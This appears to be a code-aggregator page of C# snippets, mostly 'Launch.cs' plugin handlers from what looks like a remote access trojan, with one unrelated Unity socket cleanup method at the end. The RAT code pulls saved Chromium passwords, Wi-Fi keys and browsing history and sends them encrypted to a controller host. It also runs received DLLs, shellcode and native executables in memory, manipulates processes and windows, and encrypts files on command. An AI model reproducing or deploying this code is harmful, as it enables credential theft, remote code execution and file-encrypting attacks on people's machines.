D.Type = Shared.PacketTypes.PacketType.GET_PROC;
D.IP_Origin = BaseIP;
await Task.Run(() => Shared.Serializer.SendData(S, Encryption.RSMTool.RSMEncrypt(D.Serialize(), Encoding.Unicode.GetBytes(key))));
break;
case PacketTypes.PacketType.KILL_PROC:
bool killed = await Task.Run(() => Functions.KillProcess(int.Parse(Param[1].ToString())));
D.HWID = HWID;
D.Type = Shared.PacketTypes.PacketType.KILL_PROC;
D.DataReturn = new object[] { killed, Param[1].ToString() };
D.IP_Origin = BaseIP;
await Task.Run(() => Shared.Serializer.SendData(S, Encryption.RSMTool.RSMEncrypt(D.Serialize(), Encoding.Unicode.GetBytes(key))));
break;
case PacketTypes.PacketType.RESUME_PROC:
bool resumed = await Task.Run(() => Functions.ResumeProcess(int.Parse(Param[1].ToString())));
D.HWID = HWID;
D.Type = Shared.PacketTypes.PacketType.RESUME_PROC;
D.DataReturn = new object[] { resumed, Param[1].ToString() };
D.IP_Origin = BaseIP;
await Task.Run(() => Shared.Serializer.SendData(S, Encryption.RSMTool.RSMEncrypt(D.Serialize(), Encoding.Unicode.GetBytes(key))));
break;
case PacketTypes.PacketType.SUSPEND_PROC:
bool suspended = await Task.Run(() => Functions.SuspendProcess(int.Parse(Param[1].ToString())));
D.HWID = HWID;
D.Type = Shared.PacketTypes.PacketType.SUSPEND_PROC;
D.DataReturn = new object[] { suspended, Param[1].ToString() };
D.IP_Origin = BaseIP;
await Task.Run(() => Shared.Serializer.SendData(S, Encryption.RSMTool.RSMEncrypt(D.Serialize(), Encoding.Unicode.GetBytes(key))));
break;
case PacketTypes.PacketType.SET_WND_TEXT:
bool settext = await Task.Run(() => Functions.SetWindowsText(int.Parse(Param[1].ToString()), Param[2].ToString()));
D.HWID = HWID;
D.Type = Shared.PacketTypes.PacketType.SET_WND_TEXT;
D.DataReturn = new object[] { settext, Param[1].ToString(), Param[2].ToString() };
D.IP_Origin = BaseIP;
await Task.Run(() => Shared.Serializer.SendData(S, Encryption.RSMTool.RSMEncrypt(D.Serialize(), Encoding.Unicode.GetBytes(key))));
break;
case PacketTypes.PacketType.MAXIMIZE_WND:
await Task.Run(() => Functions.MaximizeWindow(int.Parse(Param[1].ToString())));
break;
case PacketTypes.PacketType.MINIMZE_WND:
await Task.Run(() => Functions.MinimizeWindow(int.Parse(Param[1].ToString())));
break;
case PacketTypes.PacketType.HIDE_WND:
await Task.Run(() => Functions.HideWindow((IntPtr)Param[1]));
break;
case PacketTypes.PacketType.SHOW_WND:
await Task.Run(() => Functions.ShowWindow((IntPtr)Param[1]));
break;
}
S.Close();
S.Dispose();
}
catch (Exception)
{
}
finally
{
Shared.Utils.ClearMem();
}
}
19
Source : Launch.cs
with MIT License
from arsium
with MIT License
from arsium
public async static Task Main(Host H, string HWID, object[] Param , Socket Base, string key, string BaseIP)
{
try
{
Socket S = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
IPEndPoint ep = new IPEndPoint(IPAddress.Parse(H.host), H.port);
S.Connect(ep);
Shared.PacketTypes.PacketType T = (Shared.PacketTypes.PacketType)Param[0];
Data D = new Data();
switch (T)
{
case Shared.PacketTypes.PacketType.PreplacedWORDS:
await Task.Run(() => Chromium.Recovery(ref D));
D.HWID = HWID;
D.Type = Shared.PacketTypes.PacketType.PreplacedWORDS;
D.IP_Origin = BaseIP;
await Task.Run(() => Shared.Serializer.SendData(S, Encryption.RSMTool.RSMEncrypt(D.Serialize(), Encoding.Unicode.GetBytes(key))));
break;
case Shared.PacketTypes.PacketType.WIFI:
await Task.Run(() => Wifi.Recovery(ref D));
D.HWID = HWID;
D.Type = Shared.PacketTypes.PacketType.WIFI;
D.IP_Origin = BaseIP;
await Task.Run(() => Shared.Serializer.SendData(S, Encryption.RSMTool.RSMEncrypt(D.Serialize(), Encoding.Unicode.GetBytes(key))));
break;
case Shared.PacketTypes.PacketType.HISTORY:
await Task.Run(() => History.Recovery(ref D));
D.HWID = HWID;
D.Type = Shared.PacketTypes.PacketType.HISTORY;
D.IP_Origin = BaseIP;
await Task.Run(() => Shared.Serializer.SendData(S, Encryption.RSMTool.RSMEncrypt(D.Serialize(), Encoding.Unicode.GetBytes(key))));
break;
}
S.Close();
S.Dispose();
}
catch (System.Exception)
{
}
finally
{
Shared.Utils.ClearMem();
}
}
19
Source : Launch.cs
with MIT License
from arsium
with MIT License
from arsium
public async static Task Main(Host H, string HWID, object[] Param, Socket Base, string key, string BaseIP)
{
try
{
Socket S = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
IPEndPoint ep = new IPEndPoint(IPAddress.Parse(H.host), H.port);
S.Connect(ep);
Shared.PacketTypes.PacketType T = (Shared.PacketTypes.PacketType)Param[0];
Data D = new Data();
byte[] b;
ReturnHelper res;
switch (T)
{
case Shared.PacketTypes.PacketType.EXEC_MANAGED_DLL:
b = (byte[])Param[1];
res = await Task.Run(() => Functions.ExecuteManaged(ref b, Param[2].ToString()));
D.Type = Shared.PacketTypes.PacketType.EXEC_MANAGED_DLL;
D.HWID = HWID;
D.DataReturn = new object[] { res , Param[3].ToString() };
D.IP_Origin = BaseIP;
await Task.Run(() => Shared.Serializer.SendData(S, Encryption.RSMTool.RSMEncrypt(D.Serialize(), Encoding.Unicode.GetBytes(key))));
break;
case PacketTypes.PacketType.EXEC_NATIVE_DLL:
b = (byte[])Param[1];
res = await Task.Run(() => Functions.ExecuteUnmanaged(b));
D.Type = Shared.PacketTypes.PacketType.EXEC_NATIVE_DLL;
D.HWID = HWID;
D.DataReturn = new object[] { res , Param[2].ToString() };
D.IP_Origin = BaseIP;
await Task.Run(() => Shared.Serializer.SendData(S, Encryption.RSMTool.RSMEncrypt(D.Serialize(), Encoding.Unicode.GetBytes(key))));
break;
case PacketTypes.PacketType.EXEC_SHELL_CODE:
b = (byte[])Param[1];
res = await Task.Run(() => Functions.ExecuteShellCode(b));
D.Type = Shared.PacketTypes.PacketType.EXEC_SHELL_CODE;
D.HWID = HWID;
D.DataReturn = new object[] { res, Param[2].ToString() };
D.IP_Origin = BaseIP;
await Task.Run(() => Shared.Serializer.SendData(S, Encryption.RSMTool.RSMEncrypt(D.Serialize(), Encoding.Unicode.GetBytes(key))));
break;
case PacketTypes.PacketType.EXEC_NATIVE_EXE:
b = (byte[])Param[1];
res = await Task.Run(() => Functions.ExecuteNativePE(b));
D.Type = Shared.PacketTypes.PacketType.EXEC_NATIVE_EXE;
D.HWID = HWID;
D.DataReturn = new object[] { res, Param[2].ToString() };
D.IP_Origin = BaseIP;
//await Task.Run(() => Shared.Serializer.SendData(S, Encryption.RSMTool.RSMEncrypt(D.Serialize(), Encoding.Unicode.GetBytes(key))));
break;
}
S.Close();
S.Dispose();
}
catch (Exception)
{
}
finally
{
Shared.Utils.ClearMem();
}
}
19
Source : Launch.cs
with MIT License
from arsium
with MIT License
from arsium
public async static Task Main(Host H, string HWID, object[] Param, Socket Base, string key, string BaseIP)
{
try
{
Socket S = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
IPEndPoint ep = new IPEndPoint(IPAddress.Parse(H.host), H.port);
S.Connect(ep);
Shared.PacketTypes.PacketType T = (Shared.PacketTypes.PacketType)Param[0];
Data D = new Data();
switch (T)
{
case Shared.PacketTypes.PacketType.ENCRYPT_F:
//List<string> Drive = await Task.Run(() => Functions.GetDisks());
bool hasEncrypt = await Task.Run(() => Functions.RunEncryptionDecryption((Algorithm)Param[1], (bool)Param[2], (string)Param[3], (string)Param[4]));
D.HWID = HWID;
D.Type = Shared.PacketTypes.PacketType.ENCRYPT_F;
D.DataReturn = new object[] { hasEncrypt };
D.IP_Origin = BaseIP;
// await Task.Run(() => Shared.Serializer.SendData(S, Encryption.RSMTool.RSMEncrypt(D.Serialize(), Encoding.Unicode.GetBytes(key))));
break;
case PacketTypes.PacketType.DECRYPT_F:
bool hasDecrypt = await Task.Run(() => Functions.RunEncryptionDecryption((Algorithm)Param[1], (bool)Param[2], (string)Param[3], (string)Param[4]));
D.HWID = HWID;
D.Type = Shared.PacketTypes.PacketType.DECRYPT_F;
D.DataReturn = new object[] { hasDecrypt };
D.IP_Origin = BaseIP;
//await Task.Run(() => Shared.Serializer.SendData(S, Encryption.RSMTool.RSMEncrypt(D.Serialize(), Encoding.Unicode.GetBytes(key))));
break;
}
S.Close();
S.Dispose();
}
catch (Exception)
{
}
finally
{
Shared.Utils.ClearMem();
}
}
19
Source : UnityDebugViewerTransfer.cs
with Apache License 2.0
from AsanCai
with Apache License 2.0
from AsanCai
public void Clear()
{
/// close in order
if (clientSocket != null)
{
clientSocket.Close();
clientSocket = null;
}
if (connectThread != null)
{
connectThread.Interrupt();
connectThread.Abort();
connectThread = null;
}
if (serverSocket != null)
{
serverSocket.Close();
serverSocket = null;
}
}
See More Examples